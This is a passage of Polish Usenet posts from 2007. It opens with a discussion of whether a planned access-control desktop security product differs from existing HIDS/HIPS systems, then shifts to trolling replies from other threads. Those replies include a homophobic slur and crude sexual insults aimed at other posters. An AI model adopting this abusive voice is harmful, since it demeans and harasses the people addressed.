nie, dlatego tez tworze cos innego.
Dxieki za wszystkie uwagi

Michal Zalewski napisał(a):

> Tak dziala wiekszosc systemow HIDS / HIPS, w tym np. produkty dawnej Okeny
> (teraz czesc Cisco). Sa zarowno rozwiazania operujace na poziomie
> operacji (nie pozwalamy na podsluchiwanie klawiatury), jak i na poziomie
> danych (nie pozwalamy na wyslanie po sieci albo wydrukowanie dokumentow z
> kategorii $foo).

Moj produkt ma podobne zalozenia. Ale z tego co czytalem wczoraj o tych 
systemach to one z zalozenia dla serwerow, zajmuja sie tym co mnie nie 
interesuje (np wykrywanie przepelnienia bufora, probuja zgadywac czy cos 
jest atakiem czy nie. Mnie chodzi o cos bardzeij surowego, reguly proces 
taki moze otworzyc dany plik inny nie, czy moze zakladac globalne haki 
(bo nie tylko klawiatury i myszy - zakladanie hakow ma wiele roznych 
konsekwencji, np wprowadznie do przestrzeni adresowej wszystkich 
procesow dllki - podszywanie sie pod inne aplikacje) itd itd.
Nie ma tu zgadaywania i nie interesuje mnie zabezpieczenia wlamania, a 
to ze jesli ktos sie wlamie to nie uczyni strat
Wydaje mi sie ze jest to nieco cos innego, dzieki za info, pocztytalem i 
sie czegos dowiedzialem.

On Fri, 16 Mar 2007, fijaksoft wrote:

> Wydaje mi sie ze jest to nieco cos innego,

Nie, raczej szukasz roznicy na sile... wiekszosc tego typu rozwiazan po
prostu dziala wlasnie przez kontrole dostepu do roznych funkcji
systemowych. Niektore przeznaczone sa na serwery, ale wiekszosc na stacje
robocze. Ewentualna heurystyka jest tylko dodatkiem, ktory ulatwia
konfiguracje w zroznicowanych srodowiskach, co by uniknac masy klikania
lub false positives.

/mz

Michal Zalewski napisał(a):
> Nie, raczej szukasz roznicy na sile... wiekszosc tego typu rozwiazan po
> prostu dziala wlasnie przez kontrole dostepu do roznych funkcji
> systemowych. 
Dzieki za info, musze bardziej zainteresowac sie tym tematem.

Dnia Wed, 14 Mar 2007 00:40:14 +0000 (UTC), Adam Wysocki napisał(a):

> No to się nie spiesz, bo tylko ty decydujesz o tym, w jaki sposób jesteś 
> odbierany.

ciebie odbieraja od tylu, co nie?

-- 
przytule i obrzygam# 5793410

                            -->   http://sukinkot.blox.pl <--
                                      

Dnia Wed, 14 Mar 2007 12:16:00 +0000 (UTC), Adam Wysocki napisał(a):

> Rasista! ;)

Pedał! ;*

-- 
przytule i obrzygam# 5793410

                            -->   http://sukinkot.blox.pl <--
                                      

Dnia Wed, 14 Mar 2007 15:19:32 +0000 (UTC), Adam Wysocki napisał(a):

> Pierwsze zadanie: Google.

jestescie do zajebania nudni z tymi google i takie z was cwaniaki...

-- 
przytule i obrzygam# 5793410

                            -->   http://sukinkot.blox.pl <--
                                      

Dnia Fri, 16 Mar 2007 00:00:19 +0100, fijak napisał(a):

> ktorzy pisza o odchodach niewiadomo skad i  po co?

Przepraszam ale musze zapytac - czy twoje matka jest dziewica?

-- 
przytule i obrzygam# 5793410

                            -->   http://sukinkot.blox.pl <--